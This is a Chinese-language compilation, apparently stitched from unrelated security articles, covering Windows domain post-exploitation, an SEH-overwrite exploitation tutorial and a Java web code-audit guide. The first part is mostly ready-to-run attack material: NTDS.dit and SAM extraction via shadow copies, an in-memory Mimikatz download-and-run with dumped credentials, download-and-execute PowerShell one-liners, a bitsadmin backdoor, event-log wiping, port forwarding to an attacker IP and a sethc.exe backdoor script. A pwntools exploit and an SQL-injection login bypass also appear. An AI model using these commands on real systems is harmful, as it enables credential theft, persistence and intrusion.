john:aes256-cts-hmac-sha1-96:6fb59e65a4ba99987759e87f4aa2435f155a15233ddc1eb763250d495f94212e
john:aes128-cts-hmac-sha1-96:7e57a1d9f658456ec4ce24282d80a835
john:des-cbc-md5:ea8aadecea46e6c4
JOHN$:aes256-cts-hmac-sha1-96:05edf93acc4dd9c08af27f1c3ee8674185087e5321b57f290ac764c1bfdc025c
JOHN$:aes128-cts-hmac-sha1-96:529d1632aa0283f7ba2d1c4ca216a22f
JOHN$:des-cbc-md5:e029798f8f92e0da
[*] Cleaning up...
#### 参考
1. <https://www.youtube.com/watch?v=0WyBxwJD_c0>
2. <http://www.thegeekstuff.com/2014/11/install-active-directory>
3. [How Attackers Dump Active Directory Database Credentials](https://adsecurity.org/?p=2398)
4. [How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller](https://adsecurity.org/?p=451)
5. [Attack Methods for Gaining Domain Admin Rights in Active Directory](https://adsecurity.org/?p=451)
6. [Unofficial Guide to Mimikatz & Command Reference](https://adsecurity.org/?page_id=1821#SEKURLSALogonPasswords)
### how-to-use-vssadmin
#### Vssadmin
适用于：Windows Server 2003，Windows Server 2008，Windows Server 2003 R2，Windows
Server 2008 R2，Windows Server 2012，Windows 8
**Command** | **Description**
---|---
Vssadmin add shadowstorage | 添加卷影副本存储关联.
Vssadmin create shadow | 创建一个新卷卷影副本.
Vssadmin delete shadows | 删除卷影副本.
Vssadmin delete shadowstorage | 删除卷影副本存储关联.
Vssadmin list providers | 列出注册卷影复制提供程序.
Vssadmin list shadows | 列出现有的卷影副本.
Vssadmin list shadowstorage | 列出系统上的所有卷影副本存储关联.
Vssadmin list volumes | 列出符合卷影副本的卷.
Vssadmin list writers | 列出系统上所有订阅的卷影复制者.
Vssadmin resize shadowstorage | 调整卷影副本存储关联的最大大小.
#### 拥有管理员权限
PS C:\Users\Administrator\Desktop>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.
Error: You don't have the correct permissions to run this command. Please run t
his utility from a command
window that has elevated administrator privileges.
#### List Shadows
C:\Windows\system32>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.
No items found that satisfy the query.
#### Create Shadow
C:\Windows\system32>vssadmin Create Shadow /for=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.
Successfully created shadow copy for 'C:\'
Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85}
Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
#### Copy Files
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\temp\
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C
:\temp\
PS C:\Users\Administrator\Desktop> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SAM C:\t
emp\
C:\Windows\system32>vssadmin List Shadows
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.
Contents of shadow copy set ID: {7b37f005-c738-450c-83cd-ad2f237f2b28}
Contained 1 shadow copies at creation time: 11/5/2016 1:19:40 AM
Shadow Copy ID: {153b6835-be81-45ed-bd01-2edbf4f61a85}
Original Volume: (C:)\\?\Volume{be4f748a-a19f-11e6-a5bb-806e6f6e6963}\
Shadow Copy Volume: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
Originating Machine: SERVER2008.thegeekstuff.com
Service Machine: SERVER2008.thegeekstuff.com
Provider: 'Microsoft Software Shadow Copy provider 1.0'
Type: ClientAccessible
Attributes: Persistent, Client-accessible, No auto release, No writers,
Differential
#### Delete Shadows
C:\Windows\system32>vssadmin Delete Shadows /For=C:
vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
(C) Copyright 2001-2005 Microsoft Corp.
Do you really want to delete 1 shadow copies (Y/N): [N]? Y
Successfully deleted 1 shadow copies.
#### Invoke-NinjaCopy
PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\System32\config\SYSTEM" -ComputerName SERVER -localDestination "C:\temp\SYSTEM"
PS C:\Users\Administrator> Invoke-NinjaCopy -Path "C:\Windows\NTDS\NTDS.dit" -ComputerName SERVER -localDestination "C:\temp\NTDS.dit"
#### 参考
1. <https://technet.microsoft.com/en-us/library/cc754968(v=ws.11).aspx>
2. [Tutorial for NTDS goodness (VSSADMIN, WMIS, NTDS.dit, SYSTEM)](https://www.trustwave.com/Resources/SpiderLabs-Blog/Tutorial-for-NTDS-goodness-\(VSSADMIN,-WMIS,-NTDS-dit,-SYSTEM)/)
3. [How Attackers Pull the Active Directory Database (NTDS.dit) from a Domain Controller](https://adsecurity.org/?p=451)
4. <https://clymb3r.wordpress.com/2013/06/13/using-powershell-to-copy-ntds-dit-registry-hives-bypass-sacls-dacls-file-locks/>
5. <https://github.com/clymb3r/PowerShell/blob/master/Invoke-NinjaCopy/Invoke-NinjaCopy.ps1>
6. <http://blog.csdn.net/zjull/article/details/11819923>
### PowerSploit_Invoke-Mimikatz_in_cmd
C:\Windows\system32>powershell -Command "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
.#####. mimikatz 2.0 alpha (x86) release "Kiwi en C" (Dec 14 2015 18:03:07)
.## ^ ##.
## / \ ## /* * *
## \ / ## Benjamin DELPY `gentilkiwi` ( [email protected] )
'## v ##' http://blog.gentilkiwi.com/mimikatz (oe.eo)
'#####' with 17 modules * * */
mimikatz(powershell) # sekurlsa::logonpasswords
Authentication Id : 0 ; 446842 (00000000:0006d17a)
Session : Interactive from 1
User Name : test
Domain : lab
Logon Server : LAB
Logon Time : 10/14/2016 6:38:14 AM
SID : S-1-5-21-2035202921-1308571849-2301429434-1000
msv :
[00000003] Primary
* Username : test
* Domain : lab
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
[00010000] CredentialKeys
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
tspkg :
* Username : test
* Domain : lab
* Password : password
wdigest :
* Username : test
* Domain : lab
* Password : password
kerberos :
* Username : test
* Domain : lab
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 446819 (00000000:0006d163)
Session : Interactive from 1
User Name : test
Domain : lab
Logon Server : LAB
Logon Time : 10/14/2016 6:38:14 AM
SID : S-1-5-21-2035202921-1308571849-2301429434-1000
msv :
[00010000] CredentialKeys
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
[00000003] Primary
* Username : test
* Domain : lab
* NTLM : 8846f7eaee8fb117ad06bdd830b7586c
* SHA1 : e8f97fba9104d1ea5047948e6dfb67facd9f5b73
tspkg :
* Username : test
* Domain : lab
* Password : password
wdigest :
* Username : test
* Domain : lab
* Password : password
kerberos :
* Username : test
* Domain : lab
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 997 (00000000:000003e5)
Session : Service from 0
User Name : LOCAL SERVICE
Domain : NT AUTHORITY
Logon Server : (null)
Logon Time : 10/14/2016 6:37:59 AM
SID : S-1-5-19
msv :
tspkg :
wdigest :
* Username : (null)
* Domain : (null)
* Password : (null)
kerberos :
* Username : (null)
* Domain : (null)
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 996 (00000000:000003e4)
Session : Service from 0
User Name : LAB$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 10/14/2016 6:37:59 AM
SID : S-1-5-20
msv :
tspkg :
wdigest :
* Username : LAB$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : lab$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 54335 (00000000:0000d43f)
Session : UndefinedLogonType from 0
User Name : (null)
Domain : (null)
Logon Server : (null)
Logon Time : 10/14/2016 6:37:58 AM
SID :
msv :
tspkg :
wdigest :
kerberos :
ssp :
credman :
Authentication Id : 0 ; 999 (00000000:000003e7)
Session : UndefinedLogonType from 0
User Name : LAB$
Domain : WORKGROUP
Logon Server : (null)
Logon Time : 10/14/2016 6:37:58 AM
SID : S-1-5-18
msv :
tspkg :
wdigest :
* Username : LAB$
* Domain : WORKGROUP
* Password : (null)
kerberos :
* Username : lab$
* Domain : WORKGROUP
* Password : (null)
ssp :
credman :
mimikatz(powershell) # exit
Bye!
#### Windows_AD_commands
net view
net view /domain
net view /domain:DOMAINNAME
net view \\domain-control
net user
net user /domain
net localgroup administrators
net localgroup administrators /domain
net group /domain
net group "Domain Admins" /domain
net group "Domain Computers" /domain
net group "Domain Controllers" /domain
net group "Group Policy Creator Owners" /domain
net time /domain
net config
net session
net use \\ip\ipc$ password /user:username
net share
net accounts /domain
wmic useraccount
wmic useraccount LIST FULL
wmic useraccount LIST BRIEF
wmic useraccount LIST STATUS
wmic startup
wmic share
wmic service
wmic process where name="[PROCESS]" call terminate
wmic process where ProcessId="[PID]" call terminate
wmic /node:DC1 /user:DOMAIN\domainadminsvc /password:domainadminsvc123 process call create "cmd /c vssadmin list shadows 2>&1 > c:\temp\output.txt"
wmic qfe get hotfixid
wmic logicaldisk where drivetype=3 get name, freespace, systemname, filesystem, size, volumeserialnumber
wmic bios
wmic bios LIST FULL
netsh firewall show conf
netsh firewall set service type = remotedesktop mode = enable
netsh firewall add allowedprogram C:\nltest.exe mltest enable
netsh firewall add portopening tcp 2482 lt enable all
netsh int portproxy v4tov4 listenport=80 connecthost=[AttackerIP] connectport=80
netsh wlan show profiles
netsh wlan export profile folder=. key=clear
netsh wlan set hostednetwork mode=[allow\|disallow]
netsh wlan set hostednetwork ssid=<ssid> key=<passphrase> keyUsage=persistent\|temporary
netsh wlan [start|stop] hostednetwork
netstat -ano
netstat -ano -p tcp
netstat -ano -p udp
tasklist /V
tasklist /M
tasklist /FI "IMAGENAME eq cmd.exe"
tasklist /FI "PID eq 4060"
ipconfig /all
ipconfig /displaydns
powershell.exe -w hidden -nop -ep bypass -c "IEX ((new-object net.webclient).downloadstring('http://[domainname|IP]:[port]/[file]'))"
powershell.exe -w hidden -nop -ep bypass -c "(new-object net.webclient).DownloadFile('http://ip:port/file', 'C:\Windows\temp\testfile')"
bitsadmin /create backdoor
bitsadmin /addfile backdoor http://192.168.20.10/theshell.exe C:\windows\temp\theshell.exe
bitsadmin /SETMINRETRYDELAY 88000
bitsadmin /SETNOTIFYCMDLINE backdoor C:\windows\temp\theshell.exe NULL
bitsadmin /getnotifycmdline backdoor
bitsadmin /listfiles backdoor
bitsadmin /RESUME backdoor # Run the backdoor
for /f %a in ('wevtutil el') do @wevtutil cl "%a"
del %WINDIR%\*.log /a /s /q /f
sc create cmdsys type= own type= interact binPath= "c:\windows\system32\cmd.exe /c cmd.exe" & sc start cmdsys
route print
arp -a
qwinsta
qprocess
nbtstat -A ip
fsutil fsinfo drivers
wmic volume LIST BRIEF
systeminfo
at 13:20 /interactive cmd
type C:\Windows\system32\demo.txt
gpresult /Z
dir /b /s | find /I "password"
FOR /F %f in ('dir /b /s C:\') do find /I "password" %f
Replacing file as: sethc.exe
@echo off
c: > nul\cd\ > nul\cd %SYSTEMROOT%\System32\ > nul
if exist %SYSTEMROOT%\System32\cmdsys\ rd /q %SYSTEMROOT%\System32\cmdsys\ > nul
cmd %SYSTEMROOT%\System32\cmdsys\ > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\cmd.bkp /y > nul
copy /y c:\windows\system32\sethc.exe c:\windows\system32\cmdsys\sethc.bkp /y > nul
copy /y c:\windows\system32\cmd.exe c:\windows\system32\cmdsys\sethc.exe /y > nul
copy /y c:\windows\system32\cmdsys\sethc.exe c:\windows\system32\sethc.exe /y > nul
exit
#### 参考
<http://pwnwiki.io/>
### 搜集的关于后渗透的资料
[后渗透阶段常用技术总结 wooyun whitehatfest
2016](http://blkstone.github.io/2016/07/20/post-exploit-tech/)
[Meterpreter使用总结（1）](http://blog.csdn.net/qq_34841823/article/details/54926500)
[Meterpreter使用总结（2）之后渗透攻击模块](http://blog.csdn.net/qq_34841823/article/details/54927957)
[Powershell攻击指南黑客后渗透之道系列](https://www.anquanke.com/post/id/87976)
[内网渗透测试定位技术总结| MottoIN](www.mottoin.com/92978.html) | 社区文章 |
> 这篇开始学习SEH
之前的文章链接：
* [win pwn初探（三）](https://xz.aliyun.com/t/11913)
* [win pwn初探（二）](https://xz.aliyun.com/t/11891)
* [win pwn初探（一）](https://xz.aliyun.com/t/11865)
# win pwn初探（四）
## 什么是SEH
结构化异常处理（Structured Exception Handling，简称 SEH）是一种Windows
操作系统对错误或异常提供的处理技术，用于处理异常事件的程序控制结构
通俗易懂的来说就是`__try,__except,__finally`这些东西
## SEH里面长什么样子
这个也困惑了我很长时间，网上的文献大部分都是直接讲的里面的结构体，不知道在程序里如果表现，如何通过调试去看这个SEH
用下面的程序来调试，记得关掉SAFESEH
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
void backdoor() {
system("cmd.exe");
}
int main(int argc, char **argv)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
int x = 100;
int y = 0;
int z;
char tmp[0x20];
_try {
printf("0x%p\n", backdoor);
scanf("%s", tmp);
z = x / y;
}
_except (1) {
printf("seh");
}
return 0;
}
`z = x / y;`这里是除数是0引起的异常，所以正常运行之后还会输出seh
.text:004119B0
.text:004119B0 ; __unwind { // __except_handler4
.text:004119B0 55 push ebp
.text:004119B1 8B EC mov ebp, esp
.text:004119B3 6A FE push 0FFFFFFFEh
.text:004119B5 68 C8 91 41 00 push offset stru_4191C8
.text:004119BA 68 80 1F 41 00 push offset __except_handler4
.text:004119BF 64 A1 00 00 00 00 mov eax, large fs:0
.text:004119C5 50 push eax
.text:004119C6 81 C4 E8 FE FF FF add esp, 0FFFFFEE8h
.text:004119CC 53 push ebx
.text:004119CD 56 push esi
.text:004119CE 57 push edi
通过ida打开发现`push offset __except_handler4`，这个是将处理结构异常函数的地址入栈
用windbg打开此程序进行调试，在程序头下个断点
test!main:
001419b0 55 push ebp
001419b1 8bec mov ebp, esp
001419b3 6afe push 0FFFFFFFEh
001419b5 68c8911400 push 1491C8h
001419ba 68801f1400 push 141F80h
001419bf 64a100000000 mov eax, dword ptr fs:[00000000h]
然后dt去查看0x141F80这个定义
0:000> dt 0x141F80
_except_handler4
_EXCEPTION_DISPOSITION test!_except_handler4+0(
_EXCEPTION_RECORD*,
_EXCEPTION_REGISTRATION_RECORD*,
_CONTEXT*,
void*)
可以看到会接收4个参数输入，并且该异常处理函数由系统调用，是一个回调函数，看第一个参数
0:000> dt _EXCEPTION_RECORD
test!_EXCEPTION_RECORD
+0x000 ExceptionCode : Uint4B
+0x004 ExceptionFlags : Uint4B
+0x008 ExceptionRecord : Ptr32 _EXCEPTION_RECORD
+0x00c ExceptionAddress : Ptr32 Void
+0x010 NumberParameters : Uint4B
+0x014 ExceptionInformation : [15] Uint4B
重要的就两个`ExceptionCode`指出异常类型、`ExceptionFlags`表示发生异常的代码地址，接着看第二个参数
0:000> dt _EXCEPTION_REGISTRATION_RECORD
test!_EXCEPTION_REGISTRATION_RECORD
+0x000 Next : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 Handler : Ptr32 _EXCEPTION_DISPOSITION
该结构体主要用于描述线程异常处理句柄的地址，`Next`指向下一个结构的指针，`Handler`当前异常处理回调函数的地址，看一下非常经典的图
TIB第一个字段就保存了SEH链表的头部指针，SEH链表中其他的节点存储在栈中，如果Next的成员的值为0xFFFFFFFF则表示在最后一个结点，当发生异常会按照顺序依次传递，直到有异常处理器处理
接着看一下第三个参数`_CONTEXT`
0:000> dt _CONTEXT
test!_CONTEXT
+0x000 ContextFlags : Uint4B
+0x004 Dr0 : Uint4B
+0x008 Dr1 : Uint4B
+0x00c Dr2 : Uint4B
+0x010 Dr3 : Uint4B
+0x014 Dr6 : Uint4B
+0x018 Dr7 : Uint4B
+0x01c FloatSave : _FLOATING_SAVE_AREA
+0x08c SegGs : Uint4B
+0x090 SegFs : Uint4B
+0x094 SegEs : Uint4B
+0x098 SegDs : Uint4B
+0x09c Edi : Uint4B
+0x0a0 Esi : Uint4B
+0x0a4 Ebx : Uint4B
+0x0a8 Edx : Uint4B
+0x0ac Ecx : Uint4B
+0x0b0 Eax : Uint4B
+0x0b4 Ebp : Uint4B
+0x0b8 Eip : Uint4B
+0x0bc SegCs : Uint4B
+0x0c0 EFlags : Uint4B
+0x0c4 Esp : Uint4B
+0x0c8 SegSs : Uint4B
+0x0cc ExtendedRegisters : [512] UChar
这个结构体是用来备份CPU奇存器的值，因为多线程环境下需要这样做。每个线程内部都拥有1个CONTEXT结构体。CPU暂时离开当前线程去运行其他线程时，CPU寄存器的值就会保存到当前线程的CONTEXT结构体；CPU再次运行该线程时，会使用保存在CONTEXT结构体的值来覆盖CPU奇存器的值，然后从之前暂停的代码处继续执行。通过这种方式
，OS可以在多线程环境下安全运行各线程
在经典图那里有没有发现发生异常之后有一个TIB，那么TIB又是什么呢
> `TIB`(`Thread Information
> Block`，线程信息块)是保存线程基本信息的数据结构，它存在于`x86`的机器上，它也被称为是`Win32`的`TEB`(`Thread
> Environment Block`，线程环境块)。`TIB/TEB`是操作系统为了保存每个线程的私有数据创建的，每个线程都有自己的`TIB/TEB`
0:000> dt _NT_TIB
test!_NT_TIB
+0x000 ExceptionList : Ptr32 _EXCEPTION_REGISTRATION_RECORD
+0x004 StackBase : Ptr32 Void
+0x008 StackLimit : Ptr32 Void
+0x00c SubSystemTib : Ptr32 Void
+0x010 FiberData : Ptr32 Void
+0x010 Version : Uint4B
+0x014 ArbitraryUserPointer : Ptr32 Void
+0x018 Self : Ptr32 _NT_TIB
第一个就是指向当前线程的SEH，`StackBase和StackLimit`分别指向当前线程所使用的栈的栈底和栈顶，`SubSystemTib`是子系统，`Self`指向自己
## 如何通过SEH来控制程序
现在知识了SEH长什么样子了，但是如何通过SEH来攻击程序呢
可以通过攻击程序的异常处理，想办法触发一个异常，程序就会转入异常处理，如果异常处理函数指针被我们覆盖，那么我们就可以通过劫持 SEH 来控制程序的后续流程
也就是去覆盖上面的`_except_handler4`，如果把`_except_handler4`给覆盖成`backdoor`，在异常处理的时候就会去执行`backdoor`，现在还有一个问题那就是`_except_handler4`在栈上的哪个地方
0:000> dc 0x010ffc64 - 0x64
010ffc00 77b45f8b 77cfac49 010ffc10 00000000 ._.wI..w........
010ffc10 00000000 010ffc2c 51802922 1b406328 ....,...").Q(c@.
010ffc20 010ffc30 5179bff5 00000000 010ffc3c 0.....yQ....<...
010ffc30 010ffc40 517bffc6 00000000 00000000 @.....{Q........
010ffc40 010ffc4c 517c02be 518e3074 010ffc60 L.....|Qt0.Q`...
010ffc50 517ffbd2 010ffcd0 00141f80 001491c8 ...Q............
010ffc60 fffffffe 010ffc84 00142403 00000001 .........$......
010ffc70 012c4d88 012c9510 00000001 012c4d88 .M,...,......M,.
还是上面那个程序`0x010ffc64`是ebp，`0x141F80`是`_except_handler4`，可以看到在`ebp -0xc`的地方是`_except_handler4`，刚好这个程序里有一个栈溢出，所以我们可以控制handler，程序开了GS保护但是没有用，因为先跑去处理异常了
所以现在写exp来验证一下
from pwn import *
from time import sleep
context.log_level = 'debug'
li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')
r = remote('192.168.10.106', 1234)
r.recvuntil('0x')
backdoor_addr = int(r.recv(8), 16)
li('backdoor_addr = ' + hex(backdoor_addr))
p1 = b'a' * (0x64 - 0xc) + p32(backdoor_addr)
r.sendline(p1)
r.interactive()
弹了一个内存损坏的错误，点重试才可以利用成功，所以思考了一下内存损坏的错误也是在异常里，验证一下，把除0数学错误给去掉
#define _CRT_SECURE_NO_WARNINGS
#include<stdio.h>
#include<windows.h>
#include<stdlib.h>
void backdoor() {
system("cmd.exe");
}
int main(int argc, char **argv)
{
setbuf(stdin, 0);
setbuf(stdout, 0);
int x = 100;
int y = 0;
int z;
char tmp[0x20];
_try {
printf("0x%p\n", backdoor);
scanf("%s", tmp);
}
_except (1) {
printf("seh");
}
return 0;
}
最后依旧成功利用，所以以后控制SEH之后可以直接引发一些异常即可
# 总结
这里主要学习了SEH，如何去控制SEH来达到劫持程序流的目的，攻击SEH是当年最流行的手法，所以window也发布了对应的加固手法，SAFESEH和SEHOP，后面将会学习SEHOP和SAFESEH的利用
# Reference
逆向工程核心原理
<https://blog.csdn.net/azraelxuemo/article/details/122873073>
<https://codeantenna.com/a/wBulZH0YEb>
<https://a1ex.online/2020/10/15/Windows-Pwn%E5%AD%A6%E4%B9%A0/> | 社区文章 |
# 1.前言
要熟悉java语法，知道啥是类，啥是方法，啥是接口，啥是常量巴拉巴拉巴拉
# 2.确定框架
在打开源码时先判断系统框架，例如一个struts2项目中web.xml文件存在Filter-class为:
`org.apache.struts2.dispatcher.xxxx`
以及resources目录（或src（root）目录下）中存在strtus.xml
如果存在pom那pom.xml中存在struts依赖信息
而springmvc的特征则是在pom.xml中会存在相关依赖
web.xml中存在关于DispatcherServlet的注册配置
# 3.审计思路
## 3.1.Struts2
### 3.1.1.过滤器及映射配置
#### 3.1.1.1.Web.xml
查看web.xml中`<filter-mapping>`的`<url-pattern>`来确定拦截规则，当是`.action`时所有以`.action`为结尾的请求都会被struts处理拦截，/test/.action则只有test目录下的请求会被拦截。
#### 3.1.1.2.struts.xml
通过struts.xml文件,查看存在哪些action,以及处理具体请求的java文件路径
例如:
<action name="test" method="test" class="novy.action.LoginAction"/>
表示`novy.action.LoginAction`类中的test方法,处理`http://127.0.0.1/test.action`的请求。而在另一种的写法中
<action name="GoLogin" class="com.action.GoLogin">
<result name="input">/Login.jsp</result>
<result name="success">/Index.jsp</result>
</action>
表示`GoLogin`类处理`http://127.0.0.1/login.jsp和index.jsp请求`
在审计漏洞之前，我们需要了解一下web各层流程
### 3.1.2.层次介绍
通常在struts2中
**action为业务逻辑处理层**
，action层接收来自视图层（.jsp（可以理解为前端吧，就是用户看到操作的那层））的请求，并接收请求参数，同时负责调用模型Model层方法来完成业务逻辑的处理，最后控制程序的流程，选择一个合适的视图，将结果显示给用户，一般这个目录下文件的特征表现为xxxxaction.java，比如NovyAction.java；
**dao为数据持久层**
，在这层中通常是用来做数据库请求处理的，增删查改都在这里，一般这个目录下文件的特征表现为xxxxDao.java，比如NovyDao.java。
在web运行处理请求时流程为业务逻辑处理层-数据持久层
### 3.1.3.实例
Idea打开项目，查看目录结构
从目录得知该框架为struts，web运行处理流程为action->dao，bean是实体处理，db是数据库连接配置，两者不在流程之中。
根据之前 **3.1.1.** 介绍，我们首先看web.xml文件，查看拦截配置
.action请求会被struts处理，再查看struts.xml中含有哪些action及处理请求的类
根据配置我们知道login.jsp请求由GoLogin类处理，所以我们可以根据路径跟进GoLogin类，其路径组成对应为
src（root）/`com/action/GoLogin`.java
#### 3.1.3.1.代码分析
在GoLogin类中我们就可以看到一些对登陆的处理，如果我们找登陆处的SQL注入的话就看处理登陆参数的相关方法，比如此处new了一个AdminDao类下的checkLogin方法来处理username及Password，再根据判断返回的结果是否为空来显示相应内容
根据 **3.1.2** 介绍我们知道AdminDao为数据持久层，那么ChekLogin方法通常就是对登陆做数据库操作的地方，所以我们跟进一下该方法
在此处因为直接拼接请求参数，然后带入数据库去执行查询导致了SQL注入漏洞的产生
#### 3.1.3.2.漏洞验证
根据前面 **3.1.1.2** 介绍我们知道其请求路由为login.jsp
根据漏洞位置我们模拟其sql语句为
select * from Admin where Admin_Username='username' and Admin_Password='password'
所以登陆时我们可以使用万能用户名来进行登陆绕过
`Admin’or”=”or--+`
## 3.2.SpringMVC
### 3.2.1.配置及依赖
#### 3.2.1.1.Web.xml
通过web.xml中DispatcherServlet配置,来查看springMVC作用范围
通过servlet中contextConfigLocation配置,查看springMVC配置文件所在路径
#### 3.2.1.2.Springmvc.xml
在springMVC配置文件中,`component-scan`是用来查找Controller类所在位置，`org.springframework.web.servlet.view.InternalResourceViewResolver`为自定义视图解析器
#### 3.2.1.3.pom.xml
它是Maven项目中的文件，使用XML表示，也可以由此判断该项目是否为maven项目，该配置文件通常用来声明项目信息、环境的配置、引用组件依赖等等
还是老规矩，在审计漏洞之前，我们先看下spring的请求处理流程
### 3.2.2.层次介绍
通常在springmvc中
**controller为控制层（业务逻辑）**
，用来接收客户端的请求，然后调用Service层业务逻辑，获取到数据，传递数据给视图层（客户端）用于视觉呈现，一般请求的url在这里，比如
@Controller
@RequestMapping(value = "/novy")
则请求url为`http://localhost/novy`
控制层的文件一般为xxxcontroller.java，比如NovyController.java
**Service是业务层**
，接收Controller层数据，与DAO/Mapper层交互，处理业务逻辑，生成responseDTO数据并返回Controller层
,该层文件一般为xxxServce.java，比如NovyService.java，此处是接口定义，就是定义一些方法，没有这些方法的实现，但是有时候数据操作会在这里发生（看开发）
**Implements是服务实现层（接口实现）**
，用来处理一些方法的实现（这个方法干了啥干了啥），该层文件一般为xxxImpl.java，比如NovyImpl.java，impl
是把mapper和service进行整合的文件，有时候一些sql操作也会发生在这里
**Mapper是数据持久层**
，对数据库进行数据持久化操作，他的方法语句是直接针对数据库操作的，数据持久层文件通常都是xxxMapper.xml，比如NovyMapper.xml
**Dao是数据接口层** ，一些数据请求（接口）会在这里发生（一般用于内部实现）
**Entity是实体处理层** ，用于存放我们的实体类，与数据库中的属性值基本保持一致（定义前端传来的请求参数）
在web运行时处理请求的流程为`Controller->Service->impl->mapper`
### 3.2.3.实例
这里以含有漏洞的springboot项目做案例（springboot和springmvc配置不一样，感兴趣的自行百度，但是请求处理流程一样，这里讲的又不是开发，不影响演示），Idea打开项目，等待依赖导入完成
发生报错的就自己下载相关组件导入
查看目录结构
按照 **3.2.2** 介绍得知流程为 **controller- >services->mapper**，按照 **3.2.2**
对pom的介绍，我们先看pom.xml引用了哪些组件，以此来找出包含漏洞版本的组件，然后再看controller及其他，可以在idea中利用file
mask来查看所有controller或全局搜索`@Controller`
#### 3.2.3.1.代码分析
首先查看引用的组件
pom.xml
看到了两个存在漏洞的组件，拿fastjson反序列化来说，全局搜索json.parseObject或JSONObject.parseObject或`@RequestBody`来查找参数可控的地方
在此处中用@RequestBody注解来获取整个请求体，然后对请求体进行反序列化
按照上面介绍到的搜索并点进一个controller，从 **3.2.2**
对controller介绍得知此处请求url为`/informlistpaging`
在此处我们可以看到informListPaging方法定义了很多参数，拿basekey做例子，在该刚方法中被定义为字符串请求参数，按照
**3.1.3.1** 的思路，我们想要找注入就找到调用方法处理该参数的地方
在80行中，nm的sortMyNotice方法对几个参数进行处理，这里需要注意的是，nm并不是一个类，而是一个被定义的接口，所以我们需要注意nm在哪里被定义了
跟进NoticeMapper
此处为接口，为nm提供了sortMyNotice方法，但这里还不是数据库操作的地方，因为controller无法直接调用mapper.xml的方法（select
id），所以就需要这个mapper.java来做一个接口中转，所以我们根据 **3.2.2** 介绍，转到mapper.xml层
全局搜索sortMyNotice方法
转到notice-mapper.xml
此处的select id即为调用到的方法，往下为sql语句，我们可以看到在like后面直接用%${}%进行模糊查询，导致了漏洞的产生
有人会问service层呢？在这里
imformRelationService的setList方法对mapper处理返回的数据进行封装处理后返回到controller，然后controller返回到视图层，流程结束
#### 3.2.3.2.漏洞验证
在 **3.2.2** 对controller的介绍中得知，根据controller构造url：
`http://localhost/informlistpaging?baseKey=`
## 3.3.ps：其他情况
### 3.3.1.Sql操作在service层
有时候sql查询会直接发生在service层，比如
某个项目中的某个方法有个查询，定义了一个字符串参数defkey
查看wfservice在哪里被定义
跟进WorkFlowService，在该service层中搜索前面调用到的getHavedonePage方法，在该方法中含有一条没有进行预编译的sql查询，此处直接进行带入到数据库查询导致了漏洞的产生
### 3.3.2.跟到接口断了
当跟进方法时跟到接口断了怎么办，比如出现这种情况
controller里有一个密码重置
跟进updatePassword方法
到这里之后只看到提供给userService的updatePassword方法，没有看到具体的实现，
不要慌，根据 **3.2.2** 对implements的介绍，我们还有个impl没有看，全局搜索implements UserService
就可以看到对接口UserService的updatePassword方法的实现
这时候再继续往下跟就可以了，流程一样
# 4.小技巧
## 4.1.命名
无论是struts还是springmvc/boot，按照我的理解，为了方便区分和后续其他开发，除非另类命名（比如 **3.1.3**
），在整个请求处理流程中对于类名的前置命名都是一致的，比如
**Novy** Controller-> **NovyService** ->( **NovyService** Impl->) **Novy**
Mapper.xml
而不会出现
**Novy** Controller-> **TestService** ->( **WhyService** Impl->) **Oasd**
Mapper.xml
这种情况，所以在审计过程中跟进代码时利用idea的全局搜索能更好的提高审计效率
## 4.2.方法的跟进
通常调用方法时都是`类名.方法名`，或者写了一个EntityManager接口，然后再定义一次:
`private EntityManager em;`
这样em就可以用到EntityManager里的方法
比如某个项目有一个序列化工具类SerializeUtil，在该类里有一个deserialize方法来反序列化接收的request数据
而在controller中定义了一个接口
`private SerializeUtil fvlh;`
然后在某个`@PostMapping`注解下的方法进行调用
`fvlh.deserialize(request);`
如果我们想找反序列化漏洞就在跟进时可以直接ctrl+左键（idea）来跟进deserialize方法查看具体实现，或者先查看哪里定义了fvlh，然后再根据接口去跟进deserialize方法进行漏洞跟踪,最后确定该漏洞是否利用
# 5.其他
